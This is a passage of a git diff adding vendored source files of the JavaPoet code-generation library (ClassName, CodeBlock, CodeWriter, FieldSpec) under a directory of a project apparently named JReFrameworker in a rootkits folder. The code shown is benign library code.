Util.join(".", names.subList(1, names.size())) + : Util.join(".", names); + } + + @Override public ClassName annotated(List annotations) { + return new ClassName(names, concatAnnotations(annotations)); + } + + @Override public TypeName withoutAnnotations() { + return new ClassName(names); + } + + /** Returns the package name, like {@code "java.util"} for {@code Map.Entry}. */ + public String packageName() { + return names.get(0); + } + + /** + * Returns the enclosing class, like {@link Map} for {@code Map.Entry}. Returns null if this class + * is not nested in another class. + */ + public ClassName enclosingClassName() { + if (names.size() == 2) return null; + return new ClassName(names.subList(0, names.size() - 1)); + } + + /** + * Returns the top class in this nesting group. Equivalent to chained calls to {@link + * #enclosingClassName()} until the result's enclosing class is null. + */ + public ClassName topLevelClassName() { + return new ClassName(names.subList(0, 2)); + } + + public String reflectionName() { + // trivial case: no nested names + if (names.size() == 2) { + String packageName = packageName(); + if (packageName.isEmpty()) { + return names.get(1); + } + return packageName + "." + names.get(1); + } + // concat top level class name and nested names + StringBuilder builder = new StringBuilder(); + builder.append(topLevelClassName()); + for (String name : simpleNames().subList(1, simpleNames().size())) { + builder.append('$').append(name); + } + return builder.toString(); + } + + /** + * Returns a new {@link ClassName} instance for the specified {@code name} as nested inside this + * class. + */ + public ClassName nestedClass(String name) { + checkNotNull(name, "name == null"); + List result = new ArrayList<>(names.size() + 1); + result.addAll(names); + result.add(name); + return new ClassName(result); + } + + public List simpleNames() { + return names.subList(1, names.size()); + } + + /** + * Returns a class that shares the same enclosing package or class. If this class is enclosed by + * another class, this is equivalent to {@code enclosingClassName().nestedClass(name)}. Otherwise + * it is equivalent to {@code get(packageName(), name)}. + */ + public ClassName peerClass(String name) { + List result = new ArrayList<>(names); + result.set(result.size() - 1, name); + return new ClassName(result); + } + + /** Returns the simple name of this class, like {@code "Entry"} for {@link Map.Entry}. */ + public String simpleName() { + return names.get(names.size() - 1); + } + + public static ClassName get(Class clazz) { + checkNotNull(clazz, "clazz == null"); + checkArgument(!clazz.isPrimitive(), "primitive types cannot be represented as a ClassName"); + checkArgument(!void.class.equals(clazz), "'void' type cannot be represented as a ClassName"); + checkArgument(!clazz.isArray(), "array types cannot be represented as a ClassName"); + List names = new ArrayList<>(); + while (true) { + names.add(clazz.getSimpleName()); + Class enclosing = clazz.getEnclosingClass(); + if (enclosing == null) break; + clazz = enclosing; + } + // Avoid unreliable Class.getPackage(). https://github.com/square/javapoet/issues/295 + int lastDot = clazz.getName().lastIndexOf('.'); + if (lastDot != -1) names.add(clazz.getName().substring(0, lastDot)); + Collections.reverse(names); + return new ClassName(names); + } + + /** + * Returns a new {@link ClassName} instance for the given fully-qualified class name string. This + * method assumes that the input is ASCII and follows typical Java style (lowercase package + * names, UpperCamelCase class names) and may produce incorrect results or throw + * {@link IllegalArgumentException} otherwise. For that reason, {@link #get(Class)} and + * {@link #get(Class)} should be preferred as they can correctly create {@link ClassName} + * instances without such restrictions. + */ + public static ClassName bestGuess(String classNameString) { + List names = new ArrayList<>(); + + // Add the package name, like "java.util.concurrent", or "" for no package. + int p = 0; + while (p < classNameString.length() && Character.isLowerCase(classNameString.codePointAt(p))) { + p = classNameString.indexOf('.', p) + 1; + checkArgument(p != 0, "couldn't make a guess for %s", classNameString); + } + names.add(p != 0 ? classNameString.substring(0, p - 1) : ""); + + // Add the class names, like "Map" and "Entry". + for (String part : classNameString.substring(p).split("\\.", -1)) { + checkArgument(!part.isEmpty() && Character.isUpperCase(part.codePointAt(0)), + "couldn't make a guess for %s", classNameString); + names.add(part); + } + + checkArgument(names.size() >= 2, "couldn't make a guess for %s", classNameString); + return new ClassName(names); + } + + /** + * Returns a class name created from the given parts. For example, calling this with package name + * {@code "java.util"} and simple names {@code "Map"}, {@code "Entry"} yields {@link Map.Entry}. + */ + public static ClassName get(String packageName, String simpleName, String... simpleNames) { + List result = new ArrayList<>(); + result.add(packageName); + result.add(simpleName); + Collections.addAll(result, simpleNames); + return new ClassName(result); + } + + /** Returns the class name for {@code element}. */ + public static ClassName get(TypeElement element) { + checkNotNull(element, "element == null"); + List names = new ArrayList<>(); + for (Element e = element; isClassOrInterface(e); e = e.getEnclosingElement()) { + checkArgument(element.getNestingKind() == TOP_LEVEL || element.getNestingKind() == MEMBER, + "unexpected type testing"); + names.add(e.getSimpleName().toString()); + } + names.add(getPackage(element).getQualifiedName().toString()); + Collections.reverse(names); + return new ClassName(names); + } + + private static boolean isClassOrInterface(Element e) { + return e.getKind().isClass() || e.getKind().isInterface(); + } + + private static PackageElement getPackage(Element type) { + while (type.getKind() != ElementKind.PACKAGE) { + type = type.getEnclosingElement(); + } + return (PackageElement) type; + } + + @Override public int compareTo(ClassName o) { + return canonicalName.compareTo(o.canonicalName); + } + + @Override CodeWriter emit(CodeWriter out) throws IOException { + return out.emitAndIndent(out.lookupName(this)); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/CodeBlock.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/CodeBlock.java new file mode 100644 index 0000000..63556eb --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/CodeBlock.java @@ -0,0 +1,373 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import javax.lang.model.element.Element; +import javax.lang.model.type.TypeMirror; + +/** + * A fragment of a .java file, potentially containing declarations, statements, and documentation. + * Code blocks are not necessarily well-formed Java code, and are not validated. This class assumes + * javac will check correctness later! + * + *

Code blocks support placeholders like {@link java.text.Format}. Where {@link String#format} + * uses percent {@code %} to reference target values, this class uses dollar sign {@code $} and has + * its own set of permitted placeholders: + * + *

    + *
  • {@code $L} emits a literal value with no escaping. Arguments for literals may be + * strings, primitives, {@linkplain TypeSpec type declarations}, {@linkplain AnnotationSpec + * annotations} and even other code blocks. + *
  • {@code $N} emits a name, using name collision avoidance where necessary. Arguments + * for names may be strings (actually any {@linkplain CharSequence character sequence}), + * {@linkplain ParameterSpec parameters}, {@linkplain FieldSpec fields}, {@linkplain + * MethodSpec methods}, and {@linkplain TypeSpec types}. + *
  • {@code $S} escapes the value as a string, wraps it with double quotes, and emits + * that. For example, {@code 6" sandwich} is emitted {@code "6\" sandwich"}. + *
  • {@code $T} emits a type reference. Types will be imported if possible. Arguments + * for types may be {@linkplain Class classes}, {@linkplain javax.lang.model.type.TypeMirror +,* type mirrors}, and {@linkplain javax.lang.model.element.Element elements}. + *
  • {@code $$} emits a dollar sign. + *
  • {@code $W} emits a space or a newline, depending on its position on the line. This prefers + * to wrap lines before 100 columns. + *
  • {@code $>} increases the indentation level. + *
  • {@code $<} decreases the indentation level. + *
  • {@code $[} begins a statement. For multiline statements, every line after the first line + * is double-indented. + *
  • {@code $]} ends a statement. + *
+ */ +public final class CodeBlock { + private static final Pattern NAMED_ARGUMENT = + Pattern.compile("\\$(?[\\w_]+):(?[\\w]).*", Pattern.DOTALL); + private static final Pattern LOWERCASE = Pattern.compile("[a-z]+[\\w_]*"); + + /** A heterogeneous list containing string literals and value placeholders. */ + final List formatParts; + final List args; + + private CodeBlock(Builder builder) { + this.formatParts = Util.immutableList(builder.formatParts); + this.args = Util.immutableList(builder.args); + } + + public boolean isEmpty() { + return formatParts.isEmpty(); + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + new CodeWriter(out).emit(this); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public static CodeBlock of(String format, Object... args) { + return new Builder().add(format, args).build(); + } + + public static Builder builder() { + return new Builder(); + } + + public Builder toBuilder() { + Builder builder = new Builder(); + builder.formatParts.addAll(formatParts); + builder.args.addAll(args); + return builder; + } + + public static final class Builder { + final List formatParts = new ArrayList<>(); + final List args = new ArrayList<>(); + + private Builder() { + } + + /** + * Adds code using named arguments. + * + *

Named arguments specify their name after the '$' followed by : and the corresponding type + * character. Argument names consist of characters in {@code a-z, A-Z, 0-9, and _} and must + * start with a lowercase character. + * + *

For example, to refer to the type {@link java.lang.Integer} with the argument name {@code + * clazz} use a format string containing {@code $clazz:T} and include the key {@code clazz} with + * value {@code java.lang.Integer.class} in the argument map. + */ + public Builder addNamed(String format, Map arguments) { + int p = 0; + + for (String argument : arguments.keySet()) { + checkArgument(LOWERCASE.matcher(argument).matches(), + "argument '%s' must start with a lowercase character", argument); + } + + while (p < format.length()) { + int nextP = format.indexOf("$", p); + if (nextP == -1) { + formatParts.add(format.substring(p, format.length())); + break; + } + + if (p != nextP) { + formatParts.add(format.substring(p, nextP)); + p = nextP; + } + Matcher matcher = NAMED_ARGUMENT.matcher(format.subSequence(p, format.length())); + if (matcher.matches()) { + String argumentName = matcher.group("argumentName"); + checkArgument(arguments.containsKey(argumentName), "Missing named argument for $%s", + argumentName); + char formatChar = matcher.group("typeChar").charAt(0); + addArgument(format, formatChar, arguments.get(argumentName)); + formatParts.add("$" + formatChar); + p += matcher.regionStart() + argumentName.length() + 3; + } else { + checkArgument(p < format.length() - 1, "dangling $ at end"); + checkArgument(isNoArgPlaceholder(format.charAt(p + 1)), + "unknown format $%s at %s in '%s'", format.charAt(p + 1), p + 1, format); + formatParts.add(format.substring(p, p + 2)); + p += 2; + } + } + + return this; + } + + /** + * Add code with positional or relative arguments. + * + *

Relative arguments map 1:1 with the placeholders in the format string. + * + *

Positional arguments use an index after the placeholder to identify which argument index + * to use. For example, for a literal to reference the 3rd argument: "$3L" (1 based index) + * + *

Mixing relative and positional arguments in a call to add is invalid and will result in an + * error. + */ + public Builder add(String format, Object... args) { + boolean hasRelative = false; + boolean hasIndexed = false; + + int relativeParameterCount = 0; + int[] indexedParameterCount = new int[args.length]; + + for (int p = 0; p < format.length(); ) { + if (format.charAt(p) != '$') { + int nextP = format.indexOf('$', p + 1); + if (nextP == -1) nextP = format.length(); + formatParts.add(format.substring(p, nextP)); + p = nextP; + continue; + } + + p++; // '$'. + + // Consume zero or more digits, leaving 'c' as the first non-digit char after the '$'. + int indexStart = p; + char c; + do { + checkArgument(p < format.length(), "dangling format characters in '%s'", format); + c = format.charAt(p++); + } while (c >= '0' && c <= '9'); + int indexEnd = p - 1; + + // If 'c' doesn't take an argument, we're done. + if (isNoArgPlaceholder(c)) { + checkArgument(indexStart == indexEnd, "$$, $>, $<, $[, $], and $W may not have an index"); + formatParts.add("$" + c); + continue; + } + + // Find either the indexed argument, or the relative argument. (0-based). + int index; + if (indexStart < indexEnd) { + index = Integer.parseInt(format.substring(indexStart, indexEnd)) - 1; + hasIndexed = true; + indexedParameterCount[index % args.length]++; // modulo is needed, checked below anyway + } else { + index = relativeParameterCount; + hasRelative = true; + relativeParameterCount++; + } + + checkArgument(index >= 0 && index < args.length, + "index %d for '%s' not in range (received %s arguments)", + index + 1, format.substring(indexStart - 1, indexEnd + 1), args.length); + checkArgument(!hasIndexed || !hasRelative, "cannot mix indexed and positional parameters"); + + addArgument(format, c, args[index]); + + formatParts.add("$" + c); + } + + if (hasRelative) { + checkArgument(relativeParameterCount >= args.length, + "unused arguments: expected %s, received %s", relativeParameterCount, args.length); + } + if (hasIndexed) { + List unused = new ArrayList<>(); + for (int i = 0; i < args.length; i++) { + if (indexedParameterCount[i] == 0) { + unused.add("$" + (i + 1)); + } + } + String s = unused.size() == 1 ? "" : "s"; + checkArgument(unused.isEmpty(), "unused argument%s: %s", s, Util.join(", ", unused)); + } + return this; + } + + private boolean isNoArgPlaceholder(char c) { + return c == '$' || c == '>' || c == '<' || c == '[' || c == ']' || c == 'W'; + } + + private void addArgument(String format, char c, Object arg) { + switch (c) { + case 'N': + this.args.add(argToName(arg)); + break; + case 'L': + this.args.add(argToLiteral(arg)); + break; + case 'S': + this.args.add(argToString(arg)); + break; + case 'T': + this.args.add(argToType(arg)); + break; + default: + throw new IllegalArgumentException( + String.format("invalid format string: '%s'", format)); + } + } + + private String argToName(Object o) { + if (o instanceof CharSequence) return o.toString(); + if (o instanceof ParameterSpec) return ((ParameterSpec) o).name; + if (o instanceof FieldSpec) return ((FieldSpec) o).name; + if (o instanceof MethodSpec) return ((MethodSpec) o).name; + if (o instanceof TypeSpec) return ((TypeSpec) o).name; + throw new IllegalArgumentException("expected name but was " + o); + } + + private Object argToLiteral(Object o) { + return o; + } + + private String argToString(Object o) { + return o != null ? String.valueOf(o) : null; + } + + private TypeName argToType(Object o) { + if (o instanceof TypeName) return (TypeName) o; + if (o instanceof TypeMirror) return TypeName.get((TypeMirror) o); + if (o instanceof Element) return TypeName.get(((Element) o).asType()); + if (o instanceof Type) return TypeName.get((Type) o); + throw new IllegalArgumentException("expected type but was " + o); + } + + /** + * @param controlFlow the control flow construct and its code, such as "if (foo == 5)". + * Shouldn't contain braces or newline characters. + */ + public Builder beginControlFlow(String controlFlow, Object... args) { + add(controlFlow + " {\n", args); + indent(); + return this; + } + + /** + * @param controlFlow the control flow construct and its code, such as "else if (foo == 10)". + * Shouldn't contain braces or newline characters. + */ + public Builder nextControlFlow(String controlFlow, Object... args) { + unindent(); + add("} " + controlFlow + " {\n", args); + indent(); + return this; + } + + public Builder endControlFlow() { + unindent(); + add("}\n"); + return this; + } + + /** + * @param controlFlow the optional control flow construct and its code, such as + * "while(foo == 20)". Only used for "do/while" control flows. + */ + public Builder endControlFlow(String controlFlow, Object... args) { + unindent(); + add("} " + controlFlow + ";\n", args); + return this; + } + + public Builder addStatement(String format, Object... args) { + add("$["); + add(format, args); + add(";\n$]"); + return this; + } + + public Builder add(CodeBlock codeBlock) { + formatParts.addAll(codeBlock.formatParts); + args.addAll(codeBlock.args); + return this; + } + + public Builder indent() { + this.formatParts.add("$>"); + return this; + } + + public Builder unindent() { + this.formatParts.add("$<"); + return this; + } + + public CodeBlock build() { + return new CodeBlock(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/CodeWriter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/CodeWriter.java new file mode 100644 index 0000000..4534636 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/CodeWriter.java @@ -0,0 +1,497 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static com.squareup.javapoet.Util.checkState; +import static com.squareup.javapoet.Util.join; +import static com.squareup.javapoet.Util.stringLiteralWithDoubleQuotes; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.EnumSet; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.ListIterator; +import java.util.Locale; +import java.util.Map; +import java.util.Objects; +import java.util.Set; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.Modifier; + +/** + * Converts a {@link JavaFile} to a string suitable to both human- and javac-consumption. This + * honors imports, indentation, and deferred variable names. + */ +final class CodeWriter { + /** Sentinel value that indicates that no user-provided package has been set. */ + private static final String NO_PACKAGE = new String(); + + private final String indent; + private final LineWrapper out; + private int indentLevel; + + private boolean javadoc = false; + private boolean comment = false; + private String packageName = NO_PACKAGE; + private final List typeSpecStack = new ArrayList<>(); + private final Set staticImportClassNames; + private final Set staticImports; + private final Map importedTypes; + private final Map importableTypes = new LinkedHashMap<>(); + private final Set referencedNames = new LinkedHashSet<>(); + private boolean trailingNewline; + + /** + * When emitting a statement, this is the line of the statement currently being written. The first + * line of a statement is indented normally and subsequent wrapped lines are double-indented. This + * is -1 when the currently-written line isn't part of a statement. + */ + int statementLine = -1; + + CodeWriter(Appendable out) { + this(out, " ", Collections.emptySet()); + } + + CodeWriter(Appendable out, String indent, Set staticImports) { + this(out, indent, Collections.emptyMap(), staticImports); + } + + CodeWriter(Appendable out, String indent, Map importedTypes, + Set staticImports) { + this.out = new LineWrapper(out, indent, 100); + this.indent = checkNotNull(indent, "indent == null"); + this.importedTypes = checkNotNull(importedTypes, "importedTypes == null"); + this.staticImports = checkNotNull(staticImports, "staticImports == null"); + this.staticImportClassNames = new LinkedHashSet<>(); + for (String signature : staticImports) { + staticImportClassNames.add(signature.substring(0, signature.lastIndexOf('.'))); + } + } + + public Map importedTypes() { + return importedTypes; + } + + public CodeWriter indent() { + return indent(1); + } + + public CodeWriter indent(int levels) { + indentLevel += levels; + return this; + } + + public CodeWriter unindent() { + return unindent(1); + } + + public CodeWriter unindent(int levels) { + checkArgument(indentLevel - levels >= 0, "cannot unindent %s from %s", levels, indentLevel); + indentLevel -= levels; + return this; + } + + public CodeWriter pushPackage(String packageName) { + checkState(this.packageName == NO_PACKAGE, "package already set: %s", this.packageName); + this.packageName = checkNotNull(packageName, "packageName == null"); + return this; + } + + public CodeWriter popPackage() { + checkState(this.packageName != NO_PACKAGE, "package already set: %s", this.packageName); + this.packageName = NO_PACKAGE; + return this; + } + + public CodeWriter pushType(TypeSpec type) { + this.typeSpecStack.add(type); + return this; + } + + public CodeWriter popType() { + this.typeSpecStack.remove(typeSpecStack.size() - 1); + return this; + } + + public void emitComment(CodeBlock codeBlock) throws IOException { + trailingNewline = true; // Force the '//' prefix for the comment. + comment = true; + try { + emit(codeBlock); + emit("\n"); + } finally { + comment = false; + } + } + + public void emitJavadoc(CodeBlock javadocCodeBlock) throws IOException { + if (javadocCodeBlock.isEmpty()) return; + + emit("/**\n"); + javadoc = true; + try { + emit(javadocCodeBlock); + } finally { + javadoc = false; + } + emit(" */\n"); + } + + public void emitAnnotations(List annotations, boolean inline) throws IOException { + for (AnnotationSpec annotationSpec : annotations) { + annotationSpec.emit(this, inline); + emit(inline ? " " : "\n"); + } + } + + /** + * Emits {@code modifiers} in the standard order. Modifiers in {@code implicitModifiers} will not + * be emitted. + */ + public void emitModifiers(Set modifiers, Set implicitModifiers) + throws IOException { + if (modifiers.isEmpty()) return; + for (Modifier modifier : EnumSet.copyOf(modifiers)) { + if (implicitModifiers.contains(modifier)) continue; + emitAndIndent(modifier.name().toLowerCase(Locale.US)); + emitAndIndent(" "); + } + } + + public void emitModifiers(Set modifiers) throws IOException { + emitModifiers(modifiers, Collections.emptySet()); + } + + /** + * Emit type variables with their bounds. This should only be used when declaring type variables; + * everywhere else bounds are omitted. + */ + public void emitTypeVariables(List typeVariables) throws IOException { + if (typeVariables.isEmpty()) return; + + emit("<"); + boolean firstTypeVariable = true; + for (TypeVariableName typeVariable : typeVariables) { + if (!firstTypeVariable) emit(", "); + emit("$L", typeVariable.name); + boolean firstBound = true; + for (TypeName bound : typeVariable.bounds) { + emit(firstBound ? " extends $T" : " & $T", bound); + firstBound = false; + } + firstTypeVariable = false; + } + emit(">"); + } + + public CodeWriter emit(String s) throws IOException { + return emitAndIndent(s); + } + + public CodeWriter emit(String format, Object... args) throws IOException { + return emit(CodeBlock.of(format, args)); + } + + public CodeWriter emit(CodeBlock codeBlock) throws IOException { + int a = 0; + ClassName deferredTypeName = null; // used by "import static" logic + ListIterator partIterator = codeBlock.formatParts.listIterator(); + while (partIterator.hasNext()) { + String part = partIterator.next(); + switch (part) { + case "$L": + emitLiteral(codeBlock.args.get(a++)); + break; + + case "$N": + emitAndIndent((String) codeBlock.args.get(a++)); + break; + + case "$S": + String string = (String) codeBlock.args.get(a++); + // Emit null as a literal null: no quotes. + emitAndIndent(string != null + ? stringLiteralWithDoubleQuotes(string, indent) + : "null"); + break; + + case "$T": + TypeName typeName = (TypeName) codeBlock.args.get(a++); + if (typeName.isAnnotated()) { + typeName.emitAnnotations(this); + typeName = typeName.withoutAnnotations(); + } + // defer "typeName.emit(this)" if next format part will be handled by the default case + if (typeName instanceof ClassName && partIterator.hasNext()) { + if (!codeBlock.formatParts.get(partIterator.nextIndex()).startsWith("$")) { + ClassName candidate = (ClassName) typeName; + if (staticImportClassNames.contains(candidate.canonicalName)) { + checkState(deferredTypeName == null, "pending type for static import?!"); + deferredTypeName = candidate; + break; + } + } + } + typeName.emit(this); + break; + + case "$$": + emitAndIndent("$"); + break; + + case "$>": + indent(); + break; + + case "$<": + unindent(); + break; + + case "$[": + checkState(statementLine == -1, "statement enter $[ followed by statement enter $["); + statementLine = 0; + break; + + case "$]": + checkState(statementLine != -1, "statement exit $] has no matching statement enter $["); + if (statementLine > 0) { + unindent(2); // End a multi-line statement. Decrease the indentation level. + } + statementLine = -1; + break; + + case "$W": + out.wrappingSpace(indentLevel + 2); + break; + + default: + // handle deferred type + if (deferredTypeName != null) { + if (part.startsWith(".")) { + if (emitStaticImportMember(deferredTypeName.canonicalName, part)) { + // okay, static import hit and all was emitted, so clean-up and jump to next part + deferredTypeName = null; + break; + } + } + deferredTypeName.emit(this); + deferredTypeName = null; + } + emitAndIndent(part); + break; + } + } + return this; + } + + public CodeWriter emitWrappingSpace() throws IOException { + out.wrappingSpace(indentLevel + 2); + return this; + } + + private static String extractMemberName(String part) { + checkArgument(Character.isJavaIdentifierStart(part.charAt(0)), "not an identifier: %s", part); + for (int i = 1; i <= part.length(); i++) { + if (!SourceVersion.isIdentifier(part.substring(0, i))) { + return part.substring(0, i - 1); + } + } + return part; + } + + private boolean emitStaticImportMember(String canonical, String part) throws IOException { + String partWithoutLeadingDot = part.substring(1); + if (partWithoutLeadingDot.isEmpty()) return false; + char first = partWithoutLeadingDot.charAt(0); + if (!Character.isJavaIdentifierStart(first)) return false; + String explicit = canonical + "." + extractMemberName(partWithoutLeadingDot); + String wildcard = canonical + ".*"; + if (staticImports.contains(explicit) || staticImports.contains(wildcard)) { + emitAndIndent(partWithoutLeadingDot); + return true; + } + return false; + } + + private void emitLiteral(Object o) throws IOException { + if (o instanceof TypeSpec) { + TypeSpec typeSpec = (TypeSpec) o; + typeSpec.emit(this, null, Collections.emptySet()); + } else if (o instanceof AnnotationSpec) { + AnnotationSpec annotationSpec = (AnnotationSpec) o; + annotationSpec.emit(this, true); + } else if (o instanceof CodeBlock) { + CodeBlock codeBlock = (CodeBlock) o; + emit(codeBlock); + } else { + emitAndIndent(String.valueOf(o)); + } + } + + /** + * Returns the best name to identify {@code className} with in the current context. This uses the + * available imports and the current scope to find the shortest name available. It does not honor + * names visible due to inheritance. + */ + String lookupName(ClassName className) { + // Find the shortest suffix of className that resolves to className. This uses both local type + // names (so `Entry` in `Map` refers to `Map.Entry`). Also uses imports. + boolean nameResolved = false; + for (ClassName c = className; c != null; c = c.enclosingClassName()) { + ClassName resolved = resolve(c.simpleName()); + nameResolved = resolved != null; + + if (Objects.equals(resolved, c)) { + int suffixOffset = c.simpleNames().size() - 1; + return join(".", className.simpleNames().subList( + suffixOffset, className.simpleNames().size())); + } + } + + // If the name resolved but wasn't a match, we're stuck with the fully qualified name. + if (nameResolved) { + return className.canonicalName; + } + + // If the class is in the same package, we're done. + if (Objects.equals(packageName, className.packageName())) { + referencedNames.add(className.topLevelClassName().simpleName()); + return join(".", className.simpleNames()); + } + + // We'll have to use the fully-qualified name. Mark the type as importable for a future pass. + if (!javadoc) { + importableType(className); + } + + return className.canonicalName; + } + + private void importableType(ClassName className) { + if (className.packageName().isEmpty()) { + return; + } + ClassName topLevelClassName = className.topLevelClassName(); + String simpleName = topLevelClassName.simpleName(); + ClassName replaced = importableTypes.put(simpleName, topLevelClassName); + if (replaced != null) { + importableTypes.put(simpleName, replaced); // On collision, prefer the first inserted. + } + } + + /** + * Returns the class referenced by {@code simpleName}, using the current nesting context and + * imports. + */ + // TODO(jwilson): also honor superclass members when resolving names. + private ClassName resolve(String simpleName) { + // Match a child of the current (potentially nested) class. + for (int i = typeSpecStack.size() - 1; i >= 0; i--) { + TypeSpec typeSpec = typeSpecStack.get(i); + for (TypeSpec visibleChild : typeSpec.typeSpecs) { + if (Objects.equals(visibleChild.name, simpleName)) { + return stackClassName(i, simpleName); + } + } + } + + // Match the top-level class. + if (typeSpecStack.size() > 0 && Objects.equals(typeSpecStack.get(0).name, simpleName)) { + return ClassName.get(packageName, simpleName); + } + + // Match an imported type. + ClassName importedType = importedTypes.get(simpleName); + if (importedType != null) return importedType; + + // No match. + return null; + } + + /** Returns the class named {@code simpleName} when nested in the class at {@code stackDepth}. */ + private ClassName stackClassName(int stackDepth, String simpleName) { + ClassName className = ClassName.get(packageName, typeSpecStack.get(0).name); + for (int i = 1; i <= stackDepth; i++) { + className = className.nestedClass(typeSpecStack.get(i).name); + } + return className.nestedClass(simpleName); + } + + /** + * Emits {@code s} with indentation as required. It's important that all code that writes to + * {@link #out} does it through here, since we emit indentation lazily in order to avoid + * unnecessary trailing whitespace. + */ + CodeWriter emitAndIndent(String s) throws IOException { + boolean first = true; + for (String line : s.split("\n", -1)) { + // Emit a newline character. Make sure blank lines in Javadoc & comments look good. + if (!first) { + if ((javadoc || comment) && trailingNewline) { + emitIndentation(); + out.append(javadoc ? " *" : "//"); + } + out.append("\n"); + trailingNewline = true; + if (statementLine != -1) { + if (statementLine == 0) { + indent(2); // Begin multiple-line statement. Increase the indentation level. + } + statementLine++; + } + } + + first = false; + if (line.isEmpty()) continue; // Don't indent empty lines. + + // Emit indentation and comment prefix if necessary. + if (trailingNewline) { + emitIndentation(); + if (javadoc) { + out.append(" * "); + } else if (comment) { + out.append("// "); + } + } + + out.append(line); + trailingNewline = false; + } + return this; + } + + private void emitIndentation() throws IOException { + for (int j = 0; j < indentLevel; j++) { + out.append(indent); + } + } + + /** + * Returns the types that should have been imported for this code. If there were any simple name + * collisions, that type's first use is imported. + */ + Map suggestedImports() { + Map result = new LinkedHashMap<>(importableTypes); + result.keySet().removeAll(referencedNames); + return result; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/FieldSpec.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/FieldSpec.java new file mode 100644 index 0000000..d0f81b5 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet.core/src/com/squareup/javapoet/FieldSpec.java @@ -0,0 +1,176 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static com.squareup.javapoet.Util.checkState; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.Modifier; + +/** A generated field declaration. */ +public final class FieldSpec { + public final TypeName type; + public final String name; + public final CodeBlock javadoc; + public final List annotations; + public final Set modifiers; + public final CodeBlock initializer; + + private FieldSpec(Builder builder) { + this.type = checkNotNull(builder.type, "type == null"); + this.name = checkNotNull(builder.name, "name == null"); + this.javadoc = builder.javadoc.build(); + this.annotations = Util.immutableList(builder.annotations); + this.modifiers = Util.immutableSet(builder.modifiers); + this.initializer = (builder.initializer == null) + ? CodeBlock.builder().build() + : builder.initializer; + } + + public boolean hasModifier(Modifier modifier) { + return modifiers.contains(modifier); + } + + void emit(CodeWriter codeWriter, Set implicitModifiers) throws IOException { + codeWriter.emitJavadoc(javadoc); + codeWriter.emitAnnotations(annotations, false); + codeWriter.emitModifiers(modifiers, implicitModifiers); + codeWriter.emit("$T $L", type, name); + if (!initializer.isEmpty()) { + codeWriter.emit(" = "); + codeWriter.emit(initializer); + } + codeWriter.emit(";\n"); + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + CodeWriter codeWriter = new CodeWriter(out); + emit(codeWriter, Collections.emptySet()); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public static Builder builder(TypeName type, String name, Modifier... modifiers) { + checkNotNull(type, "type == null"); + checkArgument(SourceVersion.isName(name), "not a valid name: %s", name); + return new Builder(type, name) + .addModifiers(modifiers); + } + + public static Builder builder(Type type, String name, Modifier... modifiers) { + return builder(TypeName.get(type), name, modifiers); + } + + public Builder toBuilder() { + Builder 